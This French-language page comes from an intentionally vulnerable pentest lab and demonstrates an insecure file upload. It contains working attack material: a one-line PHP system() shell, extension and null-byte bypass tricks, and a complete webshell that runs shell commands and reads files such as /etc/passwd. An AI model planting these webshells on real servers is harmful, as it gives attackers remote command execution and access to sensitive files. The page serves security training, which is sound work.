Pentest Lab - Failles de Securite

ATTENTION: Ces pages contiennent des vulnerabilites volontaires pour tests uniquement!

Insecure File Upload

Cette page permet d'uploader des fichiers sans validation du type ou du contenu.

Indices d'exploitation

  • Uploader un fichier PHP: <?php system($_GET['cmd']); ?>
  • Double extension: shell.php.jpg
  • Null byte: shell.php%00.jpg
  • Acceder au fichier: /uploads/vulnerable/shell.php?cmd=whoami

Upload de fichier

Fichiers uploades

Aucun fichier uploade.

Exemple de webshell PHP

Creez un fichier shell.php avec ce contenu:

<?php // Simple webshell if(isset($_GET['cmd'])) { echo '<pre>'; echo htmlspecialchars(shell_exec($_GET['cmd'])); echo '</pre>'; } if(isset($_GET['file'])) { echo '<pre>'; echo htmlspecialchars(file_get_contents($_GET['file'])); echo '</pre>'; } ?> <!-- Usage: shell.php?cmd=whoami ou shell.php?file=/etc/passwd -->

Pourquoi c'est vulnerable?